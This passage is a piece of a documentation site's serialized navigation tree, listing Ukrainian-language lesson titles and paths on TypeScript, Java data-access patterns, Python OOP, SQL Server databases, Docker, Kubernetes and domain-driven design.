Command","\u002Fjavascript\u002Freact\u002Fui-libraries\u002Fshadcn-components-advanced","03.javascript\u002F04.react\u002F07.ui-libraries\u002F06.shadcn-components-advanced",{"title":2309,"icon":2310,"path":2311,"stem":2312,"children":2313,"page":59},"TypeScript","i-devicon-typescript","\u002Fjavascript\u002Ftypescript","03.javascript\u002F05.typescript",[2314,2318,2322,2326,2330,2334,2338,2342],{"title":2315,"path":2316,"stem":2317},"TypeScript: Броня для вашого коду","\u002Fjavascript\u002Ftypescript\u002Fintro-and-basic-types","03.javascript\u002F05.typescript\u002F01.intro-and-basic-types",{"title":2319,"path":2320,"stem":2321},"Майстерність Моделювання Даних: Інтерфейси та Просунуті Типи","\u002Fjavascript\u002Ftypescript\u002Finterfaces-and-advanced-types","03.javascript\u002F05.typescript\u002F02.interfaces-and-advanced-types",{"title":2323,"path":2324,"stem":2325},"Алхімія Типів: Generics та Utility Types","\u002Fjavascript\u002Ftypescript\u002Fgenerics-and-utilities","03.javascript\u002F05.typescript\u002F03.generics-and-utilities",{"title":2327,"path":2328,"stem":2329},"Архітектура та Шаблони: Класи в TypeScript","\u002Fjavascript\u002Ftypescript\u002Fclasses-and-oop","03.javascript\u002F05.typescript\u002F04.classes-and-oop",{"title":2331,"path":2332,"stem":2333},"Продакшн та Екосистема: Advanced Config & Workflow","\u002Fjavascript\u002Ftypescript\u002Fadvanced-patterns-and-config","03.javascript\u002F05.typescript\u002F05.advanced-patterns-and-config",{"title":2335,"path":2336,"stem":2337},"TypeScript у світі React","\u002Fjavascript\u002Ftypescript\u002Freact-basics","03.javascript\u002F05.typescript\u002F06.react-basics",{"title":2339,"path":2340,"stem":2341},"React + TypeScript: Продвинуті патерни","\u002Fjavascript\u002Ftypescript\u002Freact-advanced","03.javascript\u002F05.typescript\u002F07.react-advanced",{"title":2343,"path":2344,"stem":2345},"React + TypeScript: Екосистема та бібліотеки","\u002Fjavascript\u002Ftypescript\u002Freact-ecosystem","03.javascript\u002F05.typescript\u002F08.react-ecosystem",{"title":2347,"path":2348,"stem":2349},"Atomic Design","\u002Fjavascript\u002Fatomic-design","03.javascript\u002F2.atomic-design",{"title":2351,"icon":2352,"path":2353,"stem":2354,"children":2355,"page":59},"Java","i-devicon-java","\u002Fjava","04.java",[2356,2359,2362,2366,2370,2374,2378],{"title":162,"path":2357,"stem":2358},"\u002Fjava\u002Fdata-mapper-part1","04.java\u002F01.data-mapper-part1",{"title":166,"path":2360,"stem":2361},"\u002Fjava\u002Fdata-mapper-part2","04.java\u002F02.data-mapper-part2",{"title":2363,"path":2364,"stem":2365},"Service Layer: Організація бізнес-логіки","\u002Fjava\u002Fservice-layer","04.java\u002F03.service-layer",{"title":2367,"path":2368,"stem":2369},"Rich Domain Model та State Pattern","\u002Fjava\u002Frich-domain-model","04.java\u002F04.rich-domain-model",{"title":2371,"path":2372,"stem":2373},"Патерни для складної бізнес-логіки","\u002Fjava\u002Fbusiness-logic-patterns","04.java\u002F05.business-logic-patterns",{"title":2375,"path":2376,"stem":2377},"Обробка помилок та валідація","\u002Fjava\u002Ferror-handling-validation","04.java\u002F06.error-handling-validation",{"title":2379,"path":2380,"stem":2381,"children":2382,"page":59},"Проектування баз даних","\u002Fjava\u002Fpr2","04.java\u002Fpr2",[2383,2387,2391,2395,2399,2403,2407,2411,2415,2419,2423,2427,2431,2435,2439,2443,2447,2451,2455,2459,2463,2467,2471,2475,2479,2483,2487,2491,2495,2499,2503,2507,2511,2515,2519,2523,2527],{"title":2384,"path":2385,"stem":2386},"Концептуальне моделювання: Мистецтво розуміння предметної області","\u002Fjava\u002Fpr2\u002Fconceptual-modeling","04.java\u002Fpr2\u002F01.conceptual-modeling",{"title":2388,"path":2389,"stem":2390},"Логічне моделювання: Від бізнес-ідей до структур даних","\u002Fjava\u002Fpr2\u002Flogical-modeling","04.java\u002Fpr2\u002F02.logical-modeling",{"title":2392,"path":2393,"stem":2394},"Нормалізація: Гігієна даних та боротьба з аномаліями","\u002Fjava\u002Fpr2\u002Fnormalization","04.java\u002Fpr2\u002F03.normalization",{"title":2396,"path":2397,"stem":2398},"Фізична схема: Від абстракції до DDL","\u002Fjava\u002Fpr2\u002Fphysical-schema","04.java\u002Fpr2\u002F04.physical-schema",{"title":2400,"path":2401,"stem":2402},"Архітектурна класифікація таблиць","\u002Fjava\u002Fpr2\u002Ftable-classification","04.java\u002Fpr2\u002F05.table-classification",{"title":2404,"path":2405,"stem":2406},"Database Migrations: Версіонування схеми з Flyway","\u002Fjava\u002Fpr2\u002Fdatabase-migrations","04.java\u002Fpr2\u002F06.database-migrations",{"title":2408,"path":2409,"stem":2410},"А що, якби це була не реляційна БД?","\u002Fjava\u002Fpr2\u002Fbeyond-relational","04.java\u002Fpr2\u002F07.beyond-relational",{"title":2412,"path":2413,"stem":2414},"Object-Relational Impedance Mismatch: Два світи, що не хочуть дружити","\u002Fjava\u002Fpr2\u002Fimpedance-mismatch","04.java\u002Fpr2\u002F09.impedance-mismatch",{"title":2416,"path":2417,"stem":2418},"JDBC: Перший контакт із базою даних","\u002Fjava\u002Fpr2\u002Fjdbc-fundamentals","04.java\u002Fpr2\u002F10.jdbc-fundamentals",{"title":2420,"path":2421,"stem":2422},"Якість коду: Spotless, SpotBugs та SonarQube","\u002Fjava\u002Fpr2\u002F10a.code-quality","04.java\u002Fpr2\u002F10a.code-quality",{"title":2424,"path":2425,"stem":2426},"Connection Pool: Патерн Object Pool для JDBC-з'єднань","\u002Fjava\u002Fpr2\u002Fconnection-pool","04.java\u002Fpr2\u002F11.connection-pool",{"title":2428,"path":2429,"stem":2430},"Row Data Gateway: Об'єкт як обгортка рядка таблиці","\u002Fjava\u002Fpr2\u002Frow-data-gateway","04.java\u002Fpr2\u002F12.row-data-gateway",{"title":2432,"path":2433,"stem":2434},"Table Data Gateway: Фасад таблиці як архітектурний відступ","\u002Fjava\u002Fpr2\u002Ftable-data-gateway","04.java\u002Fpr2\u002F13.table-data-gateway",{"title":2436,"path":2437,"stem":2438},"Repository + Data Mapper: Правильна шарова архітектура з JDBC","\u002Fjava\u002Fpr2\u002Frepository-data-mapper","04.java\u002Fpr2\u002F14.repository-data-mapper",{"title":2440,"path":2441,"stem":2442},"Identity Map: Кешування сутностей у рамках сесії","\u002Fjava\u002Fpr2\u002Fidentity-map","04.java\u002Fpr2\u002F15.identity-map",{"title":2444,"path":2445,"stem":2446},"Unit of Work: Відстеження змін і координація JDBC-транзакцій","\u002Fjava\u002Fpr2\u002Funit-of-work","04.java\u002Fpr2\u002F16.unit-of-work",{"title":2448,"path":2449,"stem":2450},"Strategy: Замінювані SQL-стратегії для підтримки різних СУБД","\u002Fjava\u002Fpr2\u002Fstrategy-sql","04.java\u002Fpr2\u002F17.strategy-sql",{"title":2452,"path":2453,"stem":2454},"Proxy: Lazy Loading для One-To-Many колекцій","\u002Fjava\u002Fpr2\u002Fproxy-lazy-loading","04.java\u002Fpr2\u002F18.proxy-lazy-loading",{"title":2456,"path":2457,"stem":2458},"Generic Repository через Java Reflection: анотації та динамічний SQL","\u002Fjava\u002Fpr2\u002Fgeneric-repository-reflection","04.java\u002Fpr2\u002F19.generic-repository-reflection",{"title":2460,"path":2461,"stem":2462},"Specification Pattern: Композиція бізнес-правил для складних запитів","\u002Fjava\u002Fpr2\u002Fspecification-pattern","04.java\u002Fpr2\u002F20.specification-pattern",{"title":2464,"path":2465,"stem":2466},"Розширені можливості Specification Pattern: підзапити, агрегації та гібридний підхід","\u002Fjava\u002Fpr2\u002F20a.advanced-specifications","04.java\u002Fpr2\u002F20a.advanced-specifications",{"title":2468,"path":2469,"stem":2470},"Асинхронність у JDBC: Від блокуючих викликів до CompletableFuture","\u002Fjava\u002Fpr2\u002Fasynchronous-jdbc","04.java\u002Fpr2\u002F21.asynchronous-jdbc",{"title":2472,"path":2473,"stem":2474},"Інтеграційне тестування JDBC-репозиторіїв: Embedded H2 та патерн AAA","\u002Fjava\u002Fpr2\u002Fintegration-testing-h2","04.java\u002Fpr2\u002F22.integration-testing-h2",{"title":2476,"path":2477,"stem":2478},"Testcontainers: Тестування з реальною PostgreSQL у Docker-контейнерах","\u002Fjava\u002Fpr2\u002Fintegration-testing-testcontainers","04.java\u002Fpr2\u002F23.integration-testing-testcontainers",{"title":2480,"path":2481,"stem":2482},"Google Guice: Впровадження залежностей у JavaFX-проєкті","\u002Fjava\u002Fpr2\u002Fdependency-injection-guice","04.java\u002Fpr2\u002F24.dependency-injection-guice",{"title":2484,"path":2485,"stem":2486},"JavaFX: Основи побудови графічних інтерфейсів","\u002Fjava\u002Fpr2\u002Fjavafx-fundamentals","04.java\u002Fpr2\u002F25.javafx-fundamentals",{"title":2488,"path":2489,"stem":2490},"Properties та Bindings: Реактивність у JavaFX","\u002Fjava\u002Fpr2\u002Fjavafx-properties-bindings","04.java\u002Fpr2\u002F26.javafx-properties-bindings",{"title":2492,"path":2493,"stem":2494},"MVC vs MVP vs MVVM: Еволюція архітектурних патернів UI","\u002Fjava\u002Fpr2\u002Fui-architecture-patterns","04.java\u002Fpr2\u002F27.ui-architecture-patterns",{"title":2496,"path":2497,"stem":2498},"MVVM на практиці: Побудова ViewModel","\u002Fjava\u002Fpr2\u002Fmvvm-viewmodel-implementation","04.java\u002Fpr2\u002F28.mvvm-viewmodel-implementation",{"title":2500,"path":2501,"stem":2502},"View та Controller: Зв'язування з ViewModel через FXML","\u002Fjava\u002Fpr2\u002Fmvvm-view-controller","04.java\u002Fpr2\u002F29.mvvm-view-controller",{"title":2504,"path":2505,"stem":2506},"Інтеграція MVVM з Guice: Автоматична ін'єкція залежностей","\u002Fjava\u002Fpr2\u002Fmvvm-guice-integration","04.java\u002Fpr2\u002F30.mvvm-guice-integration",{"title":2508,"path":2509,"stem":2510},"Валідація та обробка помилок у MVVM","\u002Fjava\u002Fpr2\u002Fmvvm-validation-error-handling","04.java\u002Fpr2\u002F31.mvvm-validation-error-handling",{"title":2512,"path":2513,"stem":2514},"Навігація та управління екранами у JavaFX MVVM","\u002Fjava\u002Fpr2\u002Fmvvm-navigation-screen-management","04.java\u002Fpr2\u002F32.mvvm-navigation-screen-management",{"title":2516,"path":2517,"stem":2518},"Тестування JavaFX MVVM-додатків","\u002Fjava\u002Fpr2\u002Fmvvm-testing","04.java\u002Fpr2\u002F33.mvvm-testing",{"title":2520,"path":2521,"stem":2522},"Стилізація та теми у JavaFX: CSS та User Experience","\u002Fjava\u002Fpr2\u002Fjavafx-styling-themes","04.java\u002Fpr2\u002F34.javafx-styling-themes",{"title":2524,"path":2525,"stem":2526},"AtlantaFX: Сучасні теми для JavaFX додатків","\u002Fjava\u002Fpr2\u002Fatlantafx-modern-themes","04.java\u002Fpr2\u002F35.atlantafx-modern-themes",{"title":2528,"path":2529,"stem":2530},"Пакування та розповсюдження JavaFX-додатків","\u002Fjava\u002Fpr2\u002Fjar-packaging-distribution","04.java\u002Fpr2\u002F36.jar-packaging-distribution",{"title":2532,"icon":2533,"path":2534,"stem":2535,"children":2536,"page":59},"Python","i-devicon-python","\u002Fpython","05.python",[2537,2541,2544,2548,2552,2556,2560,2564,2568],{"title":2538,"path":2539,"stem":2540},"Модулі, Пакети та Віртуальні Середовища","\u002Fpython\u002Fmodules-packages-venv","05.python\u002F00.modules-packages-venv",{"title":71,"path":2542,"stem":2543},"\u002Fpython\u002Fclasses-objects","05.python\u002F01.classes-objects",{"title":2545,"path":2546,"stem":2547},"Інкапсуляція, Керування Доступом та Властивості","\u002Fpython\u002Fencapsulation","05.python\u002F02.encapsulation",{"title":2549,"path":2550,"stem":2551},"Наслідування, MRO та суперсила super()","\u002Fpython\u002Finheritance-mro","05.python\u002F03.inheritance-mro",{"title":2553,"path":2554,"stem":2555},"Абстракція — ABC проти Статичних Протоколів (PEP 544)","\u002Fpython\u002Fabstraction-protocols","05.python\u002F04.abstraction-protocols",{"title":2557,"path":2558,"stem":2559},"Магічні методи (Dunder) та Емуляція протоколів","\u002Fpython\u002Fdunder-methods","05.python\u002F05.dunder-methods",{"title":2561,"path":2562,"stem":2563},"Декоратори та Керування життєвим циклом методів","\u002Fpython\u002Fdecorators-static-class","05.python\u002F06.decorators-static-class",{"title":2565,"path":2566,"stem":2567},"📦 Повний посібник з модулів, пакетів та віртуальних середовищ у Python","\u002Fpython\u002Flesson_9","05.python\u002Flesson_9",{"title":2569,"path":2570,"stem":2571},"[object Object]","\u002Fpython\u002Foop-plan","05.python\u002Foop-plan",{"title":2573,"icon":2574,"path":2575,"stem":2576,"children":2577,"page":59},"Бази даних","i-lucide-database","\u002Fdatabases","06.databases",[2578,2608,2631,2668,2697,2715,2749,2761,2770],{"title":2579,"icon":2580,"path":2581,"stem":2582,"children":2583,"page":59},"Intro","i-lucide-play","\u002Fdatabases\u002Fintro","06.databases\u002F01.intro",[2584,2588,2592,2596,2600,2604],{"title":2585,"path":2586,"stem":2587},"Введення в теорію баз даних","\u002Fdatabases\u002Fintro\u002Fintroduction-to-databases","06.databases\u002F01.intro\u002F01.introduction-to-databases",{"title":2589,"path":2590,"stem":2591},"Реляційна модель даних","\u002Fdatabases\u002Fintro\u002Frelational-model-theory","06.databases\u002F01.intro\u002F02.relational-model-theory",{"title":2593,"path":2594,"stem":2595},"ER-моделювання","\u002Fdatabases\u002Fintro\u002Fer-modeling","06.databases\u002F01.intro\u002F03.er-modeling",{"title":2597,"path":2598,"stem":2599},"Логічне проектування БД","\u002Fdatabases\u002Fintro\u002Flogical-schema","06.databases\u002F01.intro\u002F04.logical-schema",{"title":2601,"path":2602,"stem":2603},"Класифікація таблиць","\u002Fdatabases\u002Fintro\u002Ftable-classification","06.databases\u002F01.intro\u002F05.table-classification",{"title":2605,"path":2606,"stem":2607},"PlantUML для баз даних","\u002Fdatabases\u002Fintro\u002Fplantuml-diagrams","06.databases\u002F01.intro\u002F06.plantuml-diagrams",{"title":2609,"icon":2574,"path":2610,"stem":2611,"children":2612,"page":59},"MS SQL Server Start","\u002Fdatabases\u002Fms-sql-server-start","06.databases\u002F02.ms-sql-server-start",[2613,2617,2623,2627],{"title":2614,"path":2615,"stem":2616},"Типи даних у MS SQL Server","\u002Fdatabases\u002Fms-sql-server-start\u002Fdata-types","06.databases\u002F02.ms-sql-server-start\u002F01.data-types",{"title":2618,"path":2619,"stem":2620,"children":2621},"Індекси у MS SQL Server","\u002Fdatabases\u002Fms-sql-server-start\u002Fsql-indexes","06.databases\u002F02.ms-sql-server-start\u002F02.sql-indexes",[2622],{"title":2618,"path":2619,"stem":2620},{"title":2624,"path":2625,"stem":2626},"Системні бази даних MS SQL Server","\u002Fdatabases\u002Fms-sql-server-start\u002Fsystem-databases","06.databases\u002F02.ms-sql-server-start\u002F03.system-databases",{"title":2628,"path":2629,"stem":2630},"Огляд мови SQL та запитів","\u002Fdatabases\u002Fms-sql-server-start\u002Fsql-queries-overview","06.databases\u002F02.ms-sql-server-start\u002F04.sql-queries-overview",{"title":2632,"icon":2574,"path":2633,"stem":2634,"children":2635,"page":59},"SQL","\u002Fdatabases\u002Fsql","06.databases\u002F03.sql",[2636,2640,2644,2648,2652,2656,2660,2664],{"title":2637,"path":2638,"stem":2639},"Налаштування демонстраційної бази даних","\u002Fdatabases\u002Fsql\u002Fsample-database-setup","06.databases\u002F03.sql\u002F00.sample-database-setup",{"title":2641,"path":2642,"stem":2643},"DDL - Створення таблиць (CREATE TABLE)","\u002Fdatabases\u002Fsql\u002Fddl-create-table","06.databases\u002F03.sql\u002F01.ddl-create-table",{"title":2645,"path":2646,"stem":2647},"DDL - Зміна та видалення таблиць (ALTER, DROP)","\u002Fdatabases\u002Fsql\u002Fddl-alter-drop-table","06.databases\u002F03.sql\u002F02.ddl-alter-drop-table",{"title":2649,"path":2650,"stem":2651},"SELECT запити - Основи","\u002Fdatabases\u002Fsql\u002Fselect-queries-fundamentals","06.databases\u002F03.sql\u002F03.select-queries-fundamentals",{"title":2653,"path":2654,"stem":2655},"SELECT запити - Розширені можливості","\u002Fdatabases\u002Fsql\u002Fselect-queries-advanced","06.databases\u002F03.sql\u002F04.select-queries-advanced",{"title":2657,"path":2658,"stem":2659},"INSERT запити - Додавання даних","\u002Fdatabases\u002Fsql\u002Finsert-queries","06.databases\u002F03.sql\u002F05.insert-queries",{"title":2661,"path":2662,"stem":2663},"UPDATE та DELETE запити","\u002Fdatabases\u002Fsql\u002Fupdate-delete-queries","06.databases\u002F03.sql\u002F06.update-delete-queries",{"title":2665,"path":2666,"stem":2667},"Транзакції в SQL","\u002Fdatabases\u002Fsql\u002Ftransactions","06.databases\u002F03.sql\u002F07.transactions",{"title":2669,"icon":2574,"path":2670,"stem":2671,"children":2672,"page":59},"Multi Table Databases","\u002Fdatabases\u002Fmulti-table-databases","06.databases\u002F04.multi-table-databases",[2673,2677,2681,2685,2689,2693],{"title":2674,"path":2675,"stem":2676},"Зв'язки та нормалізація БД","\u002Fdatabases\u002Fmulti-table-databases\u002Frelationships-and-normalization","06.databases\u002F04.multi-table-databases\u002F00.relationships-and-normalization",{"title":2678,"path":2679,"stem":2680},"INNER JOIN - З'єднання таблиць","\u002Fdatabases\u002Fmulti-table-databases\u002Finner-join","06.databases\u002F04.multi-table-databases\u002F01.inner-join",{"title":2682,"path":2683,"stem":2684},"OUTER JOINs - LEFT, RIGHT, FULL","\u002Fdatabases\u002Fmulti-table-databases\u002Fouter-joins","06.databases\u002F04.multi-table-databases\u002F02.outer-joins",{"title":2686,"path":2687,"stem":2688},"CROSS та SELF JOINs","\u002Fdatabases\u002Fmulti-table-databases\u002Fcross-self-joins","06.databases\u002F04.multi-table-databases\u002F03.cross-self-joins",{"title":2690,"path":2691,"stem":2692},"Підзапити (Subqueries)","\u002Fdatabases\u002Fmulti-table-databases\u002Fsubqueries","06.databases\u002F04.multi-table-databases\u002F04.subqueries",{"title":2694,"path":2695,"stem":2696},"Агрегації з JOIN","\u002Fdatabases\u002Fmulti-table-databases\u002Faggregations-with-joins","06.databases\u002F04.multi-table-databases\u002F05.aggregations-with-joins",{"title":2698,"icon":2699,"path":2700,"stem":2701,"children":2702,"page":59},"Aggregate Functions","i-lucide-calculator","\u002Fdatabases\u002Faggregate-functions","06.databases\u002F05.aggregate-functions",[2703,2707,2711],{"title":2704,"path":2705,"stem":2706},"Функції агрегування в MS SQL Server","\u002Fdatabases\u002Faggregate-functions\u002Fintroduction-aggregate-functions","06.databases\u002F05.aggregate-functions\u002F01.introduction-aggregate-functions",{"title":2708,"path":2709,"stem":2710},"Групування даних в MS SQL Server","\u002Fdatabases\u002Faggregate-functions\u002Fgrouping-data","06.databases\u002F05.aggregate-functions\u002F02.grouping-data",{"title":2712,"path":2713,"stem":2714},"Підзапити з агрегатними функціями","\u002Fdatabases\u002Faggregate-functions\u002Fsubqueries-aggregates","06.databases\u002F05.aggregate-functions\u002F03.subqueries-aggregates",{"title":2716,"icon":2717,"path":2718,"stem":2719,"children":2720,"page":59},"Тригери та зберігаємі процедури","i-lucide-database-zap","\u002Fdatabases\u002Ftriggers-stored-procedures","06.databases\u002F07.triggers-stored-procedures",[2721,2725,2729,2733,2737,2741,2745],{"title":2722,"path":2723,"stem":2724},"DML-тригери","\u002Fdatabases\u002Ftriggers-stored-procedures\u002Fdml-triggers","06.databases\u002F07.triggers-stored-procedures\u002F01.dml-triggers",{"title":2726,"path":2727,"stem":2728},"DDL-тригери","\u002Fdatabases\u002Ftriggers-stored-procedures\u002Fddl-triggers","06.databases\u002F07.triggers-stored-procedures\u002F02.ddl-triggers",{"title":2730,"path":2731,"stem":2732},"Transact-SQL розширення","\u002Fdatabases\u002Ftriggers-stored-procedures\u002Ftransact-sql-extensions","06.databases\u002F07.triggers-stored-procedures\u002F03.transact-sql-extensions",{"title":2734,"path":2735,"stem":2736},"Транзакції","\u002Fdatabases\u002Ftriggers-stored-procedures\u002Ftransactions","06.databases\u002F07.triggers-stored-procedures\u002F04.transactions",{"title":2738,"path":2739,"stem":2740},"Зберігаємі процедури","\u002Fdatabases\u002Ftriggers-stored-procedures\u002Fstored-procedures","06.databases\u002F07.triggers-stored-procedures\u002F05.stored-procedures",{"title":2742,"path":2743,"stem":2744},"Користувацькі функції","\u002Fdatabases\u002Ftriggers-stored-procedures\u002Fuser-defined-functions","06.databases\u002F07.triggers-stored-procedures\u002F06.user-defined-functions",{"title":2746,"path":2747,"stem":2748},"Безпека баз даних","\u002Fdatabases\u002Ftriggers-stored-procedures\u002Fsecurity","06.databases\u002F07.triggers-stored-procedures\u002F08.security",{"title":2746,"icon":793,"path":2750,"stem":2751,"children":2752,"page":59},"\u002Fdatabases\u002Fsecurity","06.databases\u002F08.security",[2753,2757],{"title":2754,"path":2755,"stem":2756},"Вступ до безпеки баз даних","\u002Fdatabases\u002Fsecurity\u002Fintroduction","06.databases\u002F08.security\u002F01.introduction",{"title":2758,"path":2759,"stem":2760},"Системні представлення та метадані","\u002Fdatabases\u002Fsecurity\u002Fsystem-views","06.databases\u002F08.security\u002F02.system-views",{"title":2762,"icon":2763,"path":2764,"stem":2765,"children":2766,"page":59},"Резервне копіювання та відновлення","i-lucide-database-backup","\u002Fdatabases\u002Fbackup-recovery","06.databases\u002F09.backup-recovery",[2767],{"title":2762,"path":2768,"stem":2769},"\u002Fdatabases\u002Fbackup-recovery\u002Fbackup-restore","06.databases\u002F09.backup-recovery\u002F01.backup-restore",{"title":2771,"icon":2772,"path":2773,"stem":2774,"children":2775,"page":59},"Повнотекстовий пошук","i-lucide-search","\u002Fdatabases\u002Ffull-text-search","06.databases\u002F10.full-text-search",[2776],{"title":2771,"path":2777,"stem":2778},"\u002Fdatabases\u002Ffull-text-search\u002Ffull-text-search","06.databases\u002F10.full-text-search\u002F01.full-text-search",{"title":2780,"icon":2781,"path":2782,"stem":2783,"children":2784,"page":59},"Tools","i-lucide-wrench","\u002Ftools","07.tools",[2785,2861],{"title":2786,"icon":2787,"path":2788,"stem":2789,"children":2790},"Docker","i-simple-icons-docker","\u002Ftools\u002Fdocker","07.tools\u002F01.docker\u002Findex",[2791,2793,2797,2801,2805,2809,2813,2817,2821,2825,2829,2833,2837,2841,2845,2849,2853,2857],{"title":2792,"path":2788,"stem":2789},"Docker: від нуля до production",{"title":2794,"path":2795,"stem":2796},"Контейнеризація — від проблеми до рішення","\u002Ftools\u002Fdocker\u002Fcontainerization-concept","07.tools\u002F01.docker\u002F01.containerization-concept",{"title":2798,"path":2799,"stem":2800},"Docker — що це і навіщо?","\u002Ftools\u002Fdocker\u002Fdocker-what-and-why","07.tools\u002F01.docker\u002F02.docker-what-and-why",{"title":2802,"path":2803,"stem":2804},"Архітектура Docker Engine","\u002Ftools\u002Fdocker\u002Fdocker-architecture","07.tools\u002F01.docker\u002F03.docker-architecture",{"title":2806,"path":2807,"stem":2808},"Встановлення Docker","\u002Ftools\u002Fdocker\u002Finstallation","07.tools\u002F01.docker\u002F04.installation",{"title":2810,"path":2811,"stem":2812},"Перший контейнер — docker run","\u002Ftools\u002Fdocker\u002Ffirst-container","07.tools\u002F01.docker\u002F05.first-container",{"title":2814,"path":2815,"stem":2816},"Життєвий цикл контейнера","\u002Ftools\u002Fdocker\u002Fcontainer-lifecycle","07.tools\u002F01.docker\u002F06.container-lifecycle",{"title":2818,"path":2819,"stem":2820},"Docker Images — фундаментальні концепції","\u002Ftools\u002Fdocker\u002Fdocker-images-fundamentals","07.tools\u002F01.docker\u002F07.docker-images-fundamentals",{"title":2822,"path":2823,"stem":2824},"Dockerfile — основи","\u002Ftools\u002Fdocker\u002Fdockerfile-basics","07.tools\u002F01.docker\u002F08.dockerfile-basics",{"title":2826,"path":2827,"stem":2828},"Dockerfile — просунуті техніки","\u002Ftools\u002Fdocker\u002Fdockerfile-advanced","07.tools\u002F01.docker\u002F09.dockerfile-advanced",{"title":2830,"path":2831,"stem":2832},"Build Context та кешування шарів","\u002Ftools\u002Fdocker\u002Fbuild-context-and-cache","07.tools\u002F01.docker\u002F10.build-context-and-cache",{"title":2834,"path":2835,"stem":2836},"Реєстри Docker-образів","\u002Ftools\u002Fdocker\u002Fimage-registries","07.tools\u002F01.docker\u002F11.image-registries",{"title":2838,"path":2839,"stem":2840},"Контейнеризація .NET додатків","\u002Ftools\u002Fdocker\u002Fdotnet-containerization","07.tools\u002F01.docker\u002F12.dotnet-containerization",{"title":2842,"path":2843,"stem":2844},"Томи та збереження даних","\u002Ftools\u002Fdocker\u002Fvolumes-and-data","07.tools\u002F01.docker\u002F13.volumes-and-data",{"title":2846,"path":2847,"stem":2848},"Основи мережі в Docker","\u002Ftools\u002Fdocker\u002Fnetworking-basics","07.tools\u002F01.docker\u002F14.networking-basics",{"title":2850,"path":2851,"stem":2852},"Змінні оточення та конфігурація","\u002Ftools\u002Fdocker\u002Fenvironment-and-configuration","07.tools\u002F01.docker\u002F15.environment-and-configuration",{"title":2854,"path":2855,"stem":2856},"Docker Compose — оркестрація контейнерів","\u002Ftools\u002Fdocker\u002Fdocker-compose-basics","07.tools\u002F01.docker\u002F16.docker-compose-basics",{"title":2858,"path":2859,"stem":2860},"Docker Compose — Multi-Service застосунки","\u002Ftools\u002Fdocker\u002Fcompose-multi-service","07.tools\u002F01.docker\u002F17.compose-multi-service",{"title":2862,"icon":2863,"path":2864,"stem":2865,"children":2866},"Kubernetes","simple-icons:kubernetes","\u002Ftools\u002Fkubernetes","07.tools\u002F02.kubernetes\u002Findex",[2867,2869,2873,2877,2881,2885,2889,2893,2897],{"title":2868,"path":2864,"stem":2865},"Kubernetes: від розробки до production",{"title":2870,"path":2871,"stem":2872},"Kubernetes — коли Docker Compose більше не вистачає","\u002Ftools\u002Fkubernetes\u002Fwhy-kubernetes","07.tools\u002F02.kubernetes\u002F01.why-kubernetes",{"title":2874,"path":2875,"stem":2876},"Архітектура Kubernetes — анатомія кластера","\u002Ftools\u002Fkubernetes\u002Fkubernetes-architecture","07.tools\u002F02.kubernetes\u002F02.kubernetes-architecture",{"title":2878,"path":2879,"stem":2880},"Локальне середовище — minikube, kind та k3s","\u002Ftools\u002Fkubernetes\u002Flocal-environment","07.tools\u002F02.kubernetes\u002F03.local-environment",{"title":2882,"path":2883,"stem":2884},"Pod — атомарна одиниця Kubernetes","\u002Ftools\u002Fkubernetes\u002Fpods-and-containers","07.tools\u002F02.kubernetes\u002F04.pods-and-containers",{"title":2886,"path":2887,"stem":2888},"Патерни використання Pod","\u002Ftools\u002Fkubernetes\u002Fpod-patterns","07.tools\u002F02.kubernetes\u002F05.pod-patterns",{"title":2890,"path":2891,"stem":2892},"Deployment — декларативне управління Pod","\u002Ftools\u002Fkubernetes\u002Fdeployment-basics","07.tools\u002F02.kubernetes\u002F06.deployment-basics",{"title":2894,"path":2895,"stem":2896},"Rolling Updates та управління життєвим циклом Deployment","\u002Ftools\u002Fkubernetes\u002Fdeployment-rolling-updates","07.tools\u002F02.kubernetes\u002F07.deployment-rolling-updates",{"title":2898,"path":2899,"stem":2900},"Service — мережева абстракція для Pod","\u002Ftools\u002Fkubernetes\u002Fservices-networking","07.tools\u002F02.kubernetes\u002F08.services-networking",{"title":2902,"icon":2903,"path":2904,"stem":2905,"children":2906,"page":59},"Software Engineering","i-lucide-code-2","\u002Fsoftware-engineering","09.software-engineering",[2907,2911,2915,2919,2923,2927,2931,2935,2939,2943,2947],{"title":2908,"path":2909,"stem":2910},"1. Аналіз предметної області. Експертні знання та складність","\u002Fsoftware-engineering\u002Fintro-subdomains","09.software-engineering\u002F01.intro-subdomains",{"title":2912,"path":2913,"stem":2914},"2. Обмежені контексти. Інтеграція обмежених контекстів","\u002Fsoftware-engineering\u002Fintegrating-limited-contexts","09.software-engineering\u002F02.integrating-limited-contexts",{"title":2916,"path":2917,"stem":2918},"3. Реалізація простої бізнес-логіки","\u002Fsoftware-engineering\u002Fsimple","09.software-engineering\u002F03.simple",{"title":2920,"path":2921,"stem":2922},"4. Опрацювання складної бізнес-логіки","\u002Fsoftware-engineering\u002Fcomplex-business-logic","09.software-engineering\u002F04.complex-business-logic",{"title":2924,"path":2925,"stem":2926},"5. Моделювання фактора часу. Подієво-орієнтована архітектура.","\u002Fsoftware-engineering\u002Fmodelling-the-time-factor","09.software-engineering\u002F05.modelling-the-time-factor",{"title":2928,"path":2929,"stem":2930},"6. Архітектурні патерни","\u002Fsoftware-engineering\u002Farchitectural-patterns","09.software-engineering\u002F06.architectural-patterns",{"title":2932,"path":2933,"stem":2934},"Паттерни взаємодії","\u002Fsoftware-engineering\u002Fpatterns-of-interaction","09.software-engineering\u002F07.patterns-of-interaction",{"title":2936,"path":2937,"stem":2938},"Евристика проєктування","\u002Fsoftware-engineering\u002Fdesign-heuristics","09.software-engineering\u002F08.design-heuristics",{"title":2940,"path":2941,"stem":2942},"Еволюція проєктних рішень","\u002Fsoftware-engineering\u002Fevolution-of-design-solutions","09.software-engineering\u002F09.evolution-of-design-solutions",{"title":2944,"path":2945,"stem":2946},"EventStorming","\u002Fsoftware-engineering\u002Feventstorming","09.software-engineering\u002F10.eventstorming",{"title":2948,"path":2949,"stem":2950},"DDD на практиці","\u002Fsoftware-engineering\u002Fddd-in-practice","09.software-engineering\u002F11.ddd-in-practice",{"title":2952,"icon":943,"path":2953,"stem":2954,"children":2955,"page":59},"DDD","\u002Fddd","10.ddd",[2956,2960,2964,2968,2972,2976,2980,2984,2988,2992,2996,3000,3004],{"title":2957,"path":2958,"stem":2959},"Аналіз предметної області","\u002Fddd\u002Fdomain-analysis","10.ddd\u002F01.domain-analysis",{"title":2961,"path":2962,"stem":2963},"Експертні знання про предметну область","\u002Fddd\u002Fdomain-expert-knowledge","10.ddd\u002F02.domain-expert-knowledge",{"title":2965,"path":2966,"stem":2967},"Як осмислити складність предметної 